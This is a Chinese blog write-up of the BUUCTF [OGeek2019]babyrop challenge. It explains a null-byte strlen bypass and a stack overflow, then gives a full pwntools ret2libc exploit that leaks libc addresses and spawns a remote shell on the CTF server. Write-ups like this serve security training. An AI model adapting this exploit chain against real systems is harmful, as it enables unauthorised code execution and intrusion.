BUUCTF [OGeek2019]babyrop

原创

三哥sange 于 2021-01-21 09:18:04 发布 91 收藏

分类专栏： PWN 文章标签： pwn

本文链接：https://blog.csdn.net/weixin_45441024/article/details/112915713

BUUCTF [OGeek2019]babyrop

```
pwn@ubuntu:~$ checksec '/home/pwn/Desktop/pwn'
[*] '/home/pwn/Desktop/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

首先我们还是check一下

```
1  int __cdecl main()
2  {
3    int buf; // [sp+4h] [bp-14h]@2
4    char v2; // [sp+Bh] [bp-Dh]@3
5    int fd; // [sp+Ch] [bp-Ch]@1
6
7    sub_80486BB();
8    fd = open("/dev/urandom", 0);
9    if ( fd > 0 )
10     read(fd, &buf, 4u);
11   v2 = sub_804871F(buf);
12   sub_80487D0(v2);
13   return 0;
14 }
```



```
1  int __cdecl sub_804871F(int a1)
2  {
3    size_t v1; // eax@1
4    char s; // [sp+Ch] [bp-4Ch]@1
5    char buf[7]; // [sp+2Ch] [bp-2Ch]@1
```

```
 6  unsigned __int8 v5; // [sp+33h] [bp-25h]@2
 7  int v6; // [sp+4Ch] [bp-Ch]@1
 8
 9  memset(&s, 0, 0x20u);
10  memset(buf, 0, 0x20u);
11  sprintf(&s, "%ld", a1);
12  v6 = read(0, buf, 0x20u);
13  buf[v6 - 1] = 0;
14  v1 = strlen(buf);
15  if ( strncmp(buf, &s, v1) )
16    exit(0);
17  write(1, "Correct\n", 8u);
18  return v5;
19}
```


对我们输入的值和随机数进行比较，这里我们需要知道strlen这个函数识别尾部的方式是\x00,所以这里我们可以通过在输入的一开始就加上'\x00'来绕过，这样v1就等于0了，就满足了这个条件

```
 1ssize_t __cdecl sub_80487D0(char a1)
 2{
 3  ssize_t result; // eax@2
 4  char buf; // [sp+11h] [bp-E7h]@2
 5
 6  if ( a1 == 127 )
 7    result = read(0, &buf, 0xC8u);
 8  else
 9    result = read(0, &buf, a1);
10  return result;
11}
```


再找一下之后我们发现了可以执行libc的位置，这里的buf距离栈底有0xe7,但是通过read可以读到a1个字节(这个a1就是函数0x80487ef的返回值)，所以只要我们输入一个特别大的值就可以进行溢出，剩下的就是常规操作ret2libc就可以啦

附上exp:

```python
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',26929)
elf=ELF('/home/pwn/Desktop/pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825


payload=b'\x00'+b'\xff'*7

r.sendline(payload)
r.recvuntil("Correct\n")

payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)


r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')

payload=b'\x00'+b'\xff'*7

r.sendline(payload)
r.recvuntil("Correct\n")

payload=b'a'*(0xe7+4)+p32(system)+p32(0)+p32(bin_sh)
r.sendline(payload)
r.interactive()
```